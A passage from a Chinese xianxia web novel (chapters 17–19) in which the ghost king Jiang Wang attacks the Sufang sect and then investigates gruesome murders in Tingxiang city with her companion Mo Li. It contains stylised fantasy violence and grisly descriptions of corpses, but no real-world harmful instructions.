梁天疏缓了缓神情,摆摆手。江妄却发现,他那双向来黑白过于分明的摄人眸子里,此刻好像染上了一层水朦朦的红雾。
再看乔洒松毫无异常的慈悲笑脸。
啧,不知道的,还以为烧的是这位梁道长的家呢。
17. 第 17 章
听香乔家,一夜覆灭。
说起来不过这八个字,但实际上却是一个盘踞听香城百年的庞然大物,顷刻间被连根拔起了,甚至是被焚烧殆尽。
街头巷尾都被这个大新闻彻底覆盖了,人人提起来都道“骇人听闻”。
一开始说起一定是害怕的。毕竟每天仰望的、与生活息息相关的东西,一下子就以那么惨烈的方式没了。
可说的时间久了,反倒多了茶余饭后闲聊素材的意味,其中的恐怖被人们自动忽略了。
“要我说,那乔家多行不义,有今天也是活……”
“你说什么呢?不要命了?绛楼弥勒还在呢。”
“啧,没了乔家,弥勒也该出家去了吧,哈哈哈哈哈哈”
“那毕竟是化神大能!你也真敢说……”
“怕什么!乔洒松敢杀了我吗?他在听香楼本来就不得人心,现在更是要谨小慎微了吧,还有心情管我说什么?”
“是啊,你谨慎过头了吧,这么多年骂乔洒松的人有多少?你有见他哪一次生过气吗?”
……
一把大火燃了半宿,好像连魂灵都一并烧尽了似的,因为江妄没有召来任何一个乔家人的魂魄。
也许是阴差来得太快了吧,也许。
偌大一个乔宅,除了那颗巨大的灵树,什么活物死物都没留下来。同时,什么线索也没留下来。
尸块都烧焦了,根本辨认不出谁是谁的,自然也看不出来那些有修为的人是否生前被吸干了。
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在江妄统一了南界的鬼并公开后,各大宗门对是否承认江妄的鬼王身份一事此各执一词。遥岑前前后后召开了五次南界大会商讨此事,却一直没有个结果。
遥岑宗本身是持赞同态度的。
因为在江妄带领下,鬼类从本质上已经是属于正常生物了,和人类并没有天然敌对关系。
如果鬼类愿意遵守南界的法律并践行社会公德,那也没必要硬是歧视,彼此生怨。
最主要的是,鬼类内部自成体系,自我治理。大大的节约了南界各宗门剿鬼所花费的人力物力,也能从根本上解决由鬼类魔化所带来的民众恐慌和无谓的伤亡。
和鬼王合作,也有助于案件调查,减少冤案的同时,也能让人心生敬畏,降低犯罪率。
而且,多数鬼的执念及时解决,即将魔化的鬼也被及时处理,鬼类的数量呈断崖式下跌,根本威胁不到人类、妖类正常的社会地位。自然就没有必要去和江妄撕破脸。
不说别的鬼,就说江妄她自己还能撑几年都是个未知数,等有下一届鬼王,估计也还是一样。这样下去,鬼没准儿哪一天自己就要濒临灭绝了,他们宗门还去剿鬼,那不是闲的吗。
现在这样多好,大力支持江妄的体系,人好鬼好大家好。
所以遥岑是举双手赞成的。
可是,承认鬼类的合法地位,确实是亘古未有的事,有一些宗门是无法接受的。
那些大宗门的态度也是无法统一。
玄风宗是惯会和稀泥,嗯嗯啊啊没个说法,一会儿说要跟随遥岑宗的改革步伐,一会儿又说事情还需反复斟酌思量。
而听香楼现在是自顾不暇,五场南界大会乔洒松只去了两场,可见听香楼真的没有心情管这些。
至于宿芳宫,就是直接反对了。
因为在宿芳宫管辖的暄妍城及其周围城池,驱鬼,是个官方默认的修炼科目。就像撰符、列阵、音攻一样,是修士修习的科目之一。
这“驱鬼”里的“驱”字,不是“驱赶”,而是“驱策”。
像暄妍城几年前昙花一现的门派驱魔殿,就是以驱鬼为主修之一的。
后来是因为驱魔殿的手段越来越奇诡,实在是有违人和,宿芳宫便出手灭了驱魔殿。
说起来其实也是违规。
即使宿芳宫是暄妍城的执法宗门,也不能擅自做主灭掉一个门派,斩其门徒。毕竟不管怎么说,驱魔殿没有违法,遥岑也没有下发具体关于灭掉驱魔殿的指示。
可是,驱魔殿就是被灭了。没有任何异样的声音传出来。遥岑宗也没有说什么,再怎么说是在人家的地盘上。
而驱魔殿虽是被宿芳宫灭了,一些极端的功法也被销毁,不少门徒被就地斩杀。
但也有部分弟子活了下来,被宿芳宫收编了。
其实当年驱魔殿突然崛起,也是背靠宿芳宫的。
最直接的证据就是:驱魔殿的殿主,大名鼎鼎的牵尸殿主,曾经是宿芳宫大长老棘兰长老的弟子。
殿主都曾是宿芳宫的人,那其门徒就更不用说了,细究起来多多少少都有关系。
打断骨头还连着筋啊。
所以当时宿芳宫剿灭驱魔殿,自然是有选择性的收编了。
门徒都能被如此轻易的放过,那些驱鬼法门什么的更是被充分的“取其精华”了。到现在,宿芳宫的驱鬼之法算是非常有特色的了。
如果鬼类的合法地位被承认,会产生多少利益损失根本不可计量。单是那些主修驱鬼炼仆的修士,半生专研就跟笑话一样了。
再说,多少年被他们踩在脚下任他们捏圆搓扁的物种,一下子要和他们平起平坐了,他们怎么可能欣然接受呢?
宿芳宫反对得激烈。
甚至有一次,宫主就在大会会场不顾礼仪地破口大骂遥岑宗脑子进水,罔顾人伦。
同时,宿芳宫开始组织大规模的剿鬼行动。暄妍城内的鬼几乎被以各种方法找出来,价值较高的炼制鬼仆。一般的鬼类就被提纯魂力,再将提纯后的魂力转入灵器之中,变为可以为人类修士所用的类灵气。
宿芳宫此举,便是赤裸裸的示威。
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江妄能怕了他们?
就在乔家灭门这天夜里,除了收拾场面的听香楼弟子,也就是乔洒松在那站了一夜。
江妄和陌离回了绛楼。
但是这二人刚进金露阁,就发现了一个问题。
……江妄和陌离一人一边站在床边,对着那个锦褥玉雕的大床陷入了沉默。
江妄今天发疯发累了,实在是没有心情调笑,摸出一个瓷瓶用拇指拔开瓶盖,摆了摆手,留下一句“公子好眠”就潇洒离去了。
江妄转头就恢复魂体飘去了暄妍城。
刚靠近暄妍还没进城,她就撞见一队宿芳宫弟子在抓鬼。
江妄扬起一个自认为很标准的微笑,下一瞬,鬼魅身影虚虚掠过。
等那个被抓的鬼反应过来的时候,已经是一地的宿芳宫弟子尸体,而他们的魂魄已然离体,正张牙舞爪地向他扑来。
……
那鬼也许打不过一群手拿捉鬼法宝的人类修士,但对付几个刚刚离体还不会使用魂力的魂魄还是手到擒来的。
所以,等阴差来的时候,那几个宿芳宫弟子的魂魄已经是被收拾的板板正正了。
阴差把那些魂魄带走,瞟了那鬼一眼,但也没管它。毕竟都化鬼了,当初该勾它的那个阴差乐意担责任就担去吧,自己管什么?根本不在自己业务范围内。
阴差走了,带起一阵风。那鬼看着这满地的尸体,突然觉得有点懵圈,好像之前掠过的那个白影是自己的幻觉一般。
江妄一路杀进暄妍城。除了挂着她标志性的笑容,连一句废话都懒得说。
她平时确实是一个兴趣奇怪,奇怪到有点无聊的人。可是今天,无论是遇到的人或者鬼多么多么符合她平时感兴趣的标准,江妄都懒得停下来嘴欠几句。
她知道自己有些失控了。
嘴角扯起的笑容,根本驱散不了双眼里缓缓渗出的黑气,好像生前的记忆被蒙上了一层轻纱,你知道都有什么,却怎么也看不真切。
人性在消退。
一些不美好的东西揪住了江妄的白裙,顺势爬上了江妄的身躯,然后迅速扎根狂长,不甘、怨恨、绝望……统统成了破坏的冲动。
江妄站在了宿芳宫的护宗大阵的阵眼前。
……
一瞬间,警鸣声响彻宿芳宫四宫二十八苑,所有弟子拿起武器集结在各自宫门前,所有未闭关未外出的长老苑主全部到场,天上密密麻麻停着飞行器,灵兽嘶鸣盘旋,严阵以待。
真的是,最高规模的敬意啊!
江妄很满意。
夜色如水,今夜是十五,月亮格外的圆。宿芳宫的四宫二十八苑全部点起了灯,四处灵光阵起,明亮如昼,遥遥地隔着一层魂力凝成的屏障和月光相呼应。
宿芳宫已经完全在江妄控制下了。
只她一个念头,就可以让这处温柔繁华变得和几个时辰前的乔家一样。
白衣姑娘临风而立,纯白的衣袂裙摆肆意向后飘飞,风拂过她的脸侧,轻拢着她的发丝,那清灵美好的脸庞就毫无遮挡地暴露在空气里,却没有任何一个人能看得清。
宿芳宫的宫主是个老头,说话时还在和弟子们一起合力破解着江妄设下的屏障,
“阁下来暄妍所为何事?不如撤了这封锁,我们有话好好说。”他
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声音里隐隐透着咬牙切齿的意味。
江妄站在风中,不带情绪地俯视着整个宿芳宫。至强的精神力足以让她看清每一个人脸上的表情。
这是一条条人命。
江妄把自己从人类的范畴里摘出来,用冰冷的神情看着,却也能清晰的意识到这件事。
她好像突然就理解了凶手灭门时的心情了。
把一条条人命扔进火里灼烧,看他们扭曲挣扎,把他们死前最恐惧最不甘最怨愤的情绪汇聚起来,再相较,是不是就能稍稍抹掉一点自己那些肮脏的腐烂了的恨。
……
咦?江妄突然注意到了一个人。
是张扶风的那个师兄,叫什么林……林什么的。他回来了?
林子煜仍是高高束着头发,发绳把头发勒的很紧,看的江妄都觉得头皮疼。他下颌肌肉紧绷,举着剑在破解着封锁。
他那一众师弟师妹小鸡崽一般缩在他身后,其中有个圆脸的姑娘手里还捧着鸡腿。
……
这是怕死前不能多吃几口?
“噗”,江妄真被她逗笑了。
还是那句话,这宿芳宫的弟子太好玩儿了。
算了。
鬼王要有鬼王的作派,滥杀无辜影响不好。
而且,如果现在就灭掉整个宿芳宫,暄妍城将彻底陷入混乱,这不利于她下一步的行动。在一片废土里重建秩序,可比单纯的拨乱反正难多了。
江妄轻轻的笑声散在了夜风里。
不过呢,她也不能白来一趟不是?
这次宿芳宫组织剿鬼行动的,是谁来着?
襄竹长老,对吧?
是了,肯定是他。自从棘兰死了之后,就是这襄竹成了宿芳宫的大长老。而他之所以能当上大长老,不就正是靠着他那一手绝佳的驱鬼炼仆技艺吗?
江妄身影一闪站在襄竹宫宫门前。
襄竹宫的弟子们愣住了一瞬,随即停止破解封锁,纷纷色力荏苒地质问江妄是谁、要干什么。
有弟子想传信寻求支援,被江妄随手一挥拦住了。
然后,那些弟子对视了一眼,领头那个点了点头,一群鬼仆就向着江妄冲过来了。
江妄:……
算了,这些襄竹宫的弟子也可以考虑去死一死了。
襄竹不在自家宫门前,应该是和宫主待在一起呢。江妄不让这些弟子给襄竹传信,是嫌太显眼了,而且效率还慢。
江妄的做法是——直接用魂力把襄竹长老拖了过来。
她看着地上那滩被魂力死死裹住,连扑腾都扑腾不了的男子。认真提问:“你就是襄竹?”
地上男子:……
你看看我能说话吗?啊!?
“哦,不好意思。不过看你的样子,应该就是襄竹没错了。”
江妄说着,灵活地翻动手指结印,之前那些被襄竹宫弟子放出的鬼仆就都调转了脑袋,盯着襄竹长老,蓄势待发的样子。
弟子们一看这形势,个个吓的六神无主,慌慌张张地放出更多各种奇奇怪怪的东西,誓要宰了江妄,营救他们敬爱的长老。
江妄真的烦了,
“你们别急好吗!早晚轮到你们。真是……”她飞速结印,“这些都是你们长老的,别和他抢啊……”
一生炼制鬼仆,临死前挨个拥抱一下他的作品,不好吗?
江妄最后翻了一下手腕,所有鬼仆和那些看不出形状的奇怪东西,就像是看到了骨头肉的疯狗一般冲向了襄竹长老。
襄竹面目无比扭曲,突然,他强行突破了什么禁制一般,七巧都缓缓渗出血来。
只见一把青色油纸伞凭空出现在了空中,旋转着逐渐放大。
江妄抬头看去,月光下,那张伞已经放大到让江妄的半张脸出现了阴影。
哦?好法器呀。
……
月色照在襄竹宫宫门上泛着青白的光,地上横七竖八躺着尸体,都是被魂力一击送走的。而那堆尸体中间一有大滩血糊一样的东西,是襄竹长老。
等那个宫主老头反应过来赶去襄竹宫的时候,看到眼前场景,直接愣在当场,最后也只能仰天嘶吼了。
襄竹宫的意义,不是仅数字上宿芳宫的四分之一那样简单。
这样的损失对于整个宿芳宫是致命性的打击。
偏偏这时,江妄欠扁的话幽幽洒向整个宿芳宫,
“伞挺好看的,我拿走了,谢谢呀。”
老头宫主一口老血喷了出来,晕了。
18. 第 18 章
这把青色的油纸伞非常之好用,打着它,江妄都不用自己飘了,攻击时的魂力消耗比之前的十分之一还少。
一伞在手,轻松我有。江妄很喜欢。
这个襄竹天天炼那些东西,把自己整的不人不鬼的,连法器都不像是人用的。不过正好,便宜她了。
江妄哼着小曲,打着小伞,正出了暄妍城,准备回听香城。就听后面江大宝叫她,
“陛下。”
女鬼还是那身碧蓝色的纱裙,举手投足大方优雅。
“嗯。怎么了?”江妄只好站住,转过身看着她,无聊地转着她新到手的小伞。
江大宝开始汇报,
“之前按陛下的吩咐,召集听香城所有的鬼询问过了,”她音质沉稳,缓缓道来,江妄被她说得有点困。
“没有任何一只鬼目击乔家灭门以及那个人贩子团伙被灭,也没有任何一只鬼撞见过翾风娇子黄栖权被杀……”
“……属下无能,还请陛下责罚。”
没结果在通信里说一声就得了呗,还扔下已经集结好的鬼军跑过来……
行叭。
不过责罚就算了,本来也没在这方面抱多大期望。
江妄打了个哈欠,一脸莫得感情地转身,“我知道了。你速回暄妍和路清嘉汇合,按原计划行事,有任何情况及时和我联系。我就先回了。”
“……陛下,”江大宝叫住了江妄。
“又怎么了?杀人都不会?”江妄十分不情愿地回头。却看见江大宝盯着自己的小青伞……
江妄硬着头皮问了一句,“你喜欢?”
江大宝不语,只盯着。
江妄尬笑得很和善,一脸大方的样子,“喜欢给你。”实则悄悄抬起另一只胳膊,抱紧了她的小青伞。
“真的吗?谢谢陛下!”高挑美丽的蓝裙女鬼面露惊喜,纤纤一双玉手伸过去准备接。
女鬼是美的,但此时她在江妄眼里,是如此的面目可憎。
能不能跟张扶风学着点儿!这些鬼咋都这么没有眼力见呢!
小青伞被江妄万分不舍地收起,放到了江大宝手里。
女鬼接过伞,一手捧着,另一只手食指捋着一根伞骨拂过伞面,轻轻摩挲着伞柄,然后张开手掌,缓慢却用力地握住了它。像是从前握过无数遍一样。
她撑起了伞,举至头顶。
碧蓝罗裙,青色纸伞,美人如斯。明明没有下雨,袅袅烟雨的清新之感却是扑面而来。
如此匹配,这把伞合该是她的。
江妄看到,从江大宝握住这把伞开始,她身上的魂力便丝丝缕缕地渗出与这伞相和。
算了。果然是这样。
……不过自己飘真的好累啊!
江妄想到一会儿自己还得飘回去,又是一阵绝望。
让我死吧,啊不对,让我魂飞魄散吧!这日子一天也过不下去了!
--
江妄拖着一身丧气飘回了听香城,没有了小青伞的鬼就是这么不快乐!
她深吸一口气,凝实魂体走进了绛楼。
都快天亮了,绛楼最热闹的时候已经过了。大花台四周的纱幔都扎了起来,舞女也散了,间间花房里的光亮也都熄了。
江妄懒得走那一套又一套的阵去九楼,直接坐在了花台角落里的台阶上,靠在柱子上,把脑袋埋在扎起的纱幔后面。
有值夜的弟子看见江妄,认出这是乔香主带来的贵客,赶忙上前去问江妄需要什么。
江妄摆摆手,随便几句打发走了。
她只是有点累了,一步也不想走了。
鬼并不需要睡觉。但江妄还是按照她为人时的习惯闭上了眼睛,调出一个均匀的呼吸频率,看起来就像是睡着了一样。
感觉到有人过来在她身边坐下,江妄也不想睁开眼睛。
陌离开口,声音不大,“回去睡。”
江妄不想理,继续在纱幔里闭着眼。
陌离叹了一声,“回去吧,我没动那个床铺。”江妄仍然不动。
“师姐。”
江妄弹了起来,脑袋把人家纱幔顶出一个大包。
……
江妄双手并用把脑袋从纱幔中拯救出来,扭过头一脸不可置信地看着陌离。
我去,真转性了?现在都学会开玩笑了?
陌离却皱了皱眉头,问道,
“你去哪了?”
江妄看他这一脸严肃的样子,笑了,“你怎么每回都是这个问题啊?”
陌离并不接这句话,一副一定要她回答的样子。
江妄又是一笑,像是想到了什么坏主意,挑衅般道,“我去缥楼了。”
陌离眉头更紧,“你去缥楼干什么?”
江妄唇边笑意更大,“你说干什么?”她凑近陌离耳边,“当然是嫖男人了。”
……
陌离神色不动,语气却是冰冷,“那嫖的怕不是男人,是男鬼吧。”
江妄终于正色几分,“你说什么?”
“你不知道你身上的鬼气有多重吗?”陌离说。
……
其实没有陌离说的那么夸张。
江妄今天晚上那么长时间泡在襄竹宫那个鬼地方,名副其实的鬼地方,然后还见了江大宝,身上怎么可能一点鬼气都不沾。
但也不明显,除了陌离这狗鼻子,没几个人能看出来。就是陌离,也是江妄从那纱幔里出来之后,才感觉到的。
江妄根本不慌,还是吊儿郎当的,“就算是男鬼怎么了?凝实之后啥也不差。怎么,你物种歧视啊?”
陌离:“……”被她气的说不出话。
他不跟她一般见识。陌离给自己做了一番心里安慰,还是说道,
“现在鬼界和宿芳宫对上,外面不太平,你……你还是小心些,夜间不要再独自出去了。”
江妄听到陌离说这些,心里不知道是什么感觉。她转回头,不再看陌离,嘴角的假笑也有点撑不住。
这是什么?陌离的关心吗?关心,关心……哈哈哈哈哈哈……
她低着头说道,“公子是怕我死了吗?”
“别乱说。”陌离紧接着说道。
“我不是乱说……好吧,公子放心,”江妄机械般缓缓地抬起头转向陌离,笑意盈盈地说着令人毛骨悚然的话,“就算我死了,也会回来陪着公子的。”
……陌离眼神狠狠聚焦,仿佛能把江妄凝实的魂体穿透。
“呵,开玩笑,开玩笑呢,公子。你也太不禁逗了。”江妄噗嗤一声笑出来,她摆摆手,
“我去的那个缥楼,正是黄栖权黄香主身亡的地方。今晚发生这么大个事儿,我睡不着,就想着出去找找线索嘛,”
江妄脸上的神色自然得不能再自然了,“至于你说有鬼气……这我就不知道了,可能是在哪不小心沾上的吧。”说辞也是敷衍得不能再敷衍了。
“不过,这缥楼的男弟子确实是不同寻常,怪不得连堂堂翾风娇子都要往那儿跑呢。”江妄摸着下巴,若有所思般的道。
陌离:……
--
天亮之后,江妄和陌离去了那个黄栖权身亡的缥楼。
要是按江妄胡诌的,那个缥楼什么线索都没有,他俩还去干什么?
可能是陌离也想去见识见识那些不同寻常的男弟子吧……
咳咳,其实也不全是因为这个。
按照他们在汝陵查案的逻辑来,是要逐一去受害者尸体被发现的现场看的。而这听香城,最特别的两个受害者,不就正是翾风娇子黄栖权和酤酒逸客王勤了吗。
乔家这棵大树在听香城牵连甚广,一朝灭门,各项工作停摆,现在方方面面所有的问题全部要由乔洒松一个人来应对。乔洒松忙的是焦头烂额,整个绛楼也乱作一团。
可能是因为乔洒松平时对外的形象太过和善了,现在出了事,上到绛楼各部门的主事,下到有关系的供货商,也不按照规定去一层层上报,直接嚷嚷着要找乔洒松要说法。
为了防止那些激进分子找上门来搞破坏,乔洒松封了整个十三楼,甚至改变了熙鹤堂的解阵香,轻易不面见人。
王勤是死在自家十三楼的。江妄他们也不想这个时候去给乔洒松添麻烦,让他解封十三楼给他们看现场,所以就先去另一个香主黄栖权身亡的现场了。
不过真去了那缥楼就发现,江妄胡诌得没错,确实是没有什么线索了。
“黄栖权”这个名字的意义,可不单是听香楼的掌权人之一,而是化神高手,更是“顶级美女”。
黄栖权的影响力不像另外两个香主那样只局限于听香城,她,是整个南界狂热追捧的对象。
哪怕她以合欢道为本法,随心所欲,从不约束行为,也有大把的人为她着迷,上赶着为她的放浪找理由。
不是没有骂她的人,但无论这些人骂的多凶,只要见过她一面,就全都黑转粉了,无一例外。
翾风娇子的厉害可见一斑。
若论美女,宿芳宫的棘兰长老沈如练,听香楼的翾风娇子黄栖权,那是名副其实的风华绝代。
她们是这个时代的代名词。
正所谓:
“清清沈卿,所立之处蝉虫不鸣。
娇儿千华,回眸轻语半妖动心。”
前一句是赞沈如练清雅无双,后一句说的就是黄栖权魅力无穷。
可惜的是,这两位实力与美丽并存的女子,热烈半生,下场却是惨烈无比。
沈如练死因成谜,为外界所知的只有:这位棘兰长老死后化为魔鬼,杀上了宿芳宫。
可这么大的事,宿芳宫从没对外解释过,反而极力遮掩。
一代清冷长老陨落,化鬼,疯魔。很难想象她生前经历过什么。
死的含糊,最后甚至连一个说法都没有。
这样的下场,不可谓不惨烈。
而黄栖权的死,更是肉眼可见的惨烈。
江妄他们看了现场的留影石。
一片嘈杂声中,一个男人哑着嗓子的哭叫声格外明显,还能听到其他人安抚男人的、询问男人情况的各种说话声。
一个皮肉扭曲、看不出容貌的头颅就那么被孤零零地扔在罗汉床边,木制地板上它早已断掉的头发蜿蜒着。滴答滴答,红白色的黏腻的不明液体,从罗汉床沿淅淅沥沥地滴到地板上,有一些还打在那颗头颅上。
再往床上看,一个藕粉色轻纱包裹得恰到好处的女性躯体正侧躺着,她肌肤莹白赛雪,手足如玉雕般好看,由于是侧躺的缘故,胸前波涛挤压着,隐隐能看见那条沟线。
一切都是那么美好的。如果忽略她没有一颗头这件事的话。
她脖颈的横截面淌着艳红的血,一些些
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不规则的红在她雪白的肩颈上纵横,柔色的锦缎的床面也被那粘稠的艳丽洇湿了一片。
这样的死状是绝对不可能对外公布的。
当时沈如练身亡化鬼的消息传出来的时候,整个南界都震动了,宿芳宫为了压下负面影响,平复民众情绪,付出了极大的代价。
同理,如果翾风娇子这样的死状传出,听香楼也将会面临着巨大的压力。
所以,当时那具尸体刚一被确认是黄栖权的,听香楼就立刻封锁该缥楼,收敛尸首,迅速秘密下葬,清扫现场。那一刻,对于听香楼来说,防止消息外流已经排在查出真凶的前面了。
黄栖权死的时候,和她修练的那个缥楼男弟子就晕在她身边,直到有其他人进来发现黄栖权的尸首,他才醒过来。据说,他就是和黄香主修炼到一半突然晕过去的,什么也不知道。
而所有见过黄栖权尸首的弟子,包括那个男弟子,全部应王勤的要求,指心立誓绝不说出关于那日所见的任何事情。
现在王勤也死了,唯一能说出来具体细节的人也没有了。
江妄他们现在能知道的信息,也只是通过乔洒松的转述以及那段留影石了。
所以江妄他们除了在那个已经看不出任何痕迹的案发花房,对比着看了一段极其血腥暴力的留影石,也就是见识了一番缥楼弟子的风情,什么新线索也没得到。
江妄一脸你不信任我的委屈,“你看我说的吧,都说了没有线索了,你还非要再来一趟。”
陌离眼神涣散,像不是在和江妄对话一般,“那为什么缥楼的楼主好像是第一次认识你呢?”他语气平静。
江妄:“……之前我那是暗访,暗访懂吗!”
陌离:我就静静地听着你扯。
……
江妄二人无功而返,被缥楼的楼主送着正往外走。
迈出阵门,就听见一个男人和守门弟子的撕扯声,“放开我!放开!我要见楼主!你们这是阻拦人民申诉!你们……啊!别碰我!人命关天的事,你们担待得起吗……”
“快,把他嘴捂上!”守门弟子莫得感情,问都不问,显然不是第一次和这个男的交锋了。
“楼主!我要见楼主!”男人还在声嘶力竭地喊着。
“楼主不要见你。快快,按住他,拖走拖走,别让他在这大门口发疯!”
……
正好走过去的缥楼楼主:……
江妄他们:……
楼主冷汗都要淌下来了,这两位可是上面过来专门查案的啊,怎么就正碰见这个刁民来闹……
他边说着,“师姐,小事小事,我去处理一下,”边快步走到门口。
“你又来干什么?”楼主说着,拼命给那个男人使眼色,大概就是:你先走,之后什么事我们都好说,不然,我一定让你不好过。
他眼神里内容太多,眼睛瞪得都快抽筋了。
男人:“啊,啊……”
楼主以为男人领会他的意思了,故意放大声音说给江妄听,
“啊,没什么事啊,没事就走了啊……”他示意守门弟子放开男人。
哪想这个二愣子其实根本没看明白他的眼抽筋,一挣脱束缚就绕过楼主,一个滑跪扑到江妄他们面前,
“大人啊!我爹死的好惨啊!求听香楼给我做主啊!不然我爹死不瞑目啊!……”
江妄:……
这男的不知道江妄他们的身份,只看见缥楼楼主跟着侍候,以为他们是绛楼绯楼来的大人物,便忙不迭地开始诉说了。
“大人啊,你是不知道,我爹死的好惨啊,好惨啊,呜呜呜……好惨啊……”他只是反复地说着好惨好惨,说着说着还哭了起来。
江妄摆出一个相当和善的笑容,“别急别急,你慢慢说,把前因后果说清楚些,我们也好为你做主不是?”
楼主一听这师姐真要管这事儿,有点急了,“师姐,你……”
江妄微笑:“闭嘴。”
楼主:瑟瑟发抖。
男人这才说清楚。
男人名叫段云烁,一百来岁,筑基后期的修为,已经是普通百姓仰望的那类人了,也难怪敢不断地来缥楼闹事。
而且,缥楼虽有听香楼的弟子主事,具有一定的行政功能,但里面到底还是普通妓子占大多数,只是最基层最基层的听香楼。面对民众的时候,自然是不敢太强硬的。
段云烁嘴里那个死的好惨的爹名叫段勇,生前是个镖师,直至死的时候修为也不过是筑基中期,还不如他儿子段云烁。
段勇为人木讷,最不爱出风头。镖行克扣他该得的佣金,他争辩几次无果,竟就认了。
但这个人风评非常好,是街坊邻里嘴里的“老实人”。
他妻子年轻时家世很好,属于下嫁给他的,因此段勇是个惧内的。即使后来妻子娘家败落了,他的家庭地位依然没有丝毫提高。
大家都说他是真心爱护妻儿的。因为哪怕他收入的灵石不多,自己一年到头都是那几身衣服,也从没拦着妻子购物享乐。当年段云烁筑基的时候,他哪怕是去借灵石,也要给儿子买最好的筑基丹。
而且,段勇很仁义。
和他一起走镖的兄弟意外死了,他就让段云烁娶了人家的女儿。
就是这样一个普通的、扔在人堆儿里丝毫不起眼的人,却死得极其不普通。
19. 第 19 章
据段云烁所说,他父亲的尸体被发现在家里的时候已经看不出人形了。
只是一大坨肉堆在地上,堪堪被皮勒出了个形状,才不至于散掉。那些血肉堆在那儿,撑得靠下面的皮快要爆裂了,而靠上面的皮,却层层叠叠的皱在一起。最上面的应该是头部的皮,因为它看着有点像个带头发和零碎五官的肉色气囊。
是的,段勇的尸体没有一根骨头。
而那些皮还能包裹住他的血肉,显而易见的是,他的尸体没有任何创口。
全身的骨头不翼而飞,这种手段……
姑且不论当时现场是不是有妖气遗留。
汝陵干尸是血肉,听香悬案是内脏,两位香主是脑髓,现在,轮到骨头了,是吧。
这凶手多少有点强迫症吧……
掌握所有信息的江妄当然很容易把段勇的死和听香城悬案联系起来,但是这个小缥楼楼主却是万万想不到其中的关系的。
当时段云烁来报案,缥楼楼主不是完全没管,他派人去看了,却没有一点点头绪。
那时候他新任楼主没几年,而他负责的区域,一茬又一茬的受害者出现,死法一律是胸腹大洞,内脏缺失,被抽掉修为。楼主压力非常大。
缥楼一共就那么点儿弟子,全都派出去查悬案了,哪有时间管这个诡异无比,还没有任何线索的个案?
至于上报?那怕不是让上面多一条骂他的理由。
段勇如此诡异的死就这么被压了下来。
除了段云烁时不时来闹上一场,几乎没什么人在乎这件事的后续了。
如果不是江妄他们碰巧装上了段云烁,段勇的惨死可能就要慢慢掩埋在时间里了。
江妄根据段云烁的叙述已经把前因后果拼了个大概,再看缥楼楼主这心虚的样子,也问不出什么有用东西。
她胳膊肘拐了一下陌离,“这也中午了,师弟也饿了,是吧?”
说罢江妄根本不管陌离的反应,接着道,
“段公子,你看我们可方便去你家去用个便饭?”她冲着段云烁笑笑,没有一点儿不好意思地开口。
段云烁都懵了,半晌才反应过来,疯狂点头,“方便!方便!大人您来,什么时候都方便!”
江妄很满意段云烁的热情,“那就走吧。”说着,江妄直接就抬脚往外走,段云烁赶忙一骨碌身儿爬起来跟上她。
走了几步,江妄突然停住脚步,身后的段云烁使出了毕生的刹车技术才没撞到这位大人身上。
好像忘了点什么……啊,刚才光顾着走出鬼王气势,把陌离给忘了啊……
江妄转过身,噔噔噔返回去,直接扯起陌离的胳膊,“师弟,愣着干什么?你不是饿了嘛,快来啊!”
段云烁也跟了回去,见状十分聪明地接话,“这位大人也来啊,我媳妇儿别的不行,烧菜可是一绝,千万别跟我客气啊……”
陌离:……
江妄一脸灿笑,段云烁一脸激动,陌离一脸,一脸麻木。
他们开开心心地走了,留下一脸惶恐的缥楼楼主。
没有人注意到角落里一片黑色的衣角隐没进了阴影里。
--
刚到段云烁家,还没等段云烁输入灵力打开院门,就听一道彪悍的女声传来,
“你个王八犊子还知道回来,给老娘滚出去!这个家没你的饭!”
江妄:……说好的饭呢?
段云烁看着快尴尬死了,勉强解释道,“大人千万别见怪,我媳妇最近特殊时期,呵呵,特殊时期,脾气有点……”
他的话被一道灵力打回了肚子里。
一个妇人踹门出来,走路姿势豪迈,极其不好惹的样子,一边走一边喊,“你要死啊!你说老娘什么?!啊?”
段云烁尴尬升级,几乎想要把自己缩进地里。只赶紧走过去拉住她,小声提醒道,“芳儿,有客人,你……”
女人声音又拔高了一个度,“你再叭叭一句?!”
段云烁又丢脸又委屈,“这可是听香楼的大人物,你好歹……”
“啪!”一个响亮的巴掌声响起,段云烁的脸肉眼可见地肿了起来,“又是听香楼!又是听香楼!你要不直接去听香楼卖去得了,别回这个家了!!”
……
这女人实力远不及段云烁,江妄看了她一眼,得出结论。
难为段云烁如此让着。
那边女人还是不管不顾的骂着,“你这个挨千刀的,我怎么就找了你这么个玩意儿!你明知道我爹的坟被那些烂杂种刨了,还敢去缥楼闹,那事就没完了是吧?现在,现在……”
女人被气得好像要喘不上气了,当然也可能是她语速太快了,自己给自己骂的缺氧。她猛喘一口气继续,“现在还把这些晦气人带回家里,我真……”
段云烁听到这总算反驳了,“你说什么呢!”他赶紧转回头跟江妄赔笑,指着女人的脑袋道,“大人,她这儿不好,您千万别和她一般见识啊……啊!”
然后这可怜的男人的耳朵就被拧了一圈。
“你说谁脑子有病呢?!现在胆子肥了是吧?啊?!”
段云烁拧巴着身子,双手捧着耳根,终于略略硬气了一把,“你爹是爹,我爹就不是爹了吗?他那么惨的,那么惨的死了,我要是再不坚持,还有谁能……”说到最后,他的声音都有些哽咽了。
女人好像愣了愣,她松开了拧着段云烁耳朵的手,
“我不知道爹死的冤吗?你把我当不懂事儿的人吗?没有他,我现在都不知道在哪,我比谁都明白爹的恩情!”她喘了一口气,语气缓和下来,声音很低,
“我们又不是没有努力过,最后我们都明白了,这不是你我能伸手的事情。段云烁,爹他死了!那我们活着的呢?都要搭上命去给他申冤吗?这次是我爹的坟,下一次呢?就是我妈了吧……
而且就算你最后活着知道了凶手是谁了,你一个金丹都没修出来的假仙儿,能给他报仇吗?!”
段云烁沉默了,也许他也知道,妻子的话是对的。
可那是他爹。
道理是那个道理,但是,他就是没有办法……把他那么好的爹永远地留在冤屈里。
江妄抱手在旁边看着热闹,趁着二人沉默的空档,冲着女人举手提问道,
“那你为什么觉得,你爹的坟被刨了是因为段云烁追查段勇的死呢?也许就是遇到盗墓贼了呢?”
女人转过头瞪着江妄他们,才想起了这两个不速之客似的,“我不管你们是谁,立刻,马上,滚出我家!”
“咦,好凶啊。”江妄笑笑,走过去要挽女人的手,被女人一把躲开。
“你干嘛!”
“诶呦,嫂子呀,别这样。我们来的时候段哥还给你挑了礼物呢,在我这放着,说要给你惊喜呢。”江妄一翻手,凭空拿出了一条手钏。“呐,嫂子快看看喜不喜欢,段哥为了这个可是朝我借了不少钱呢。”
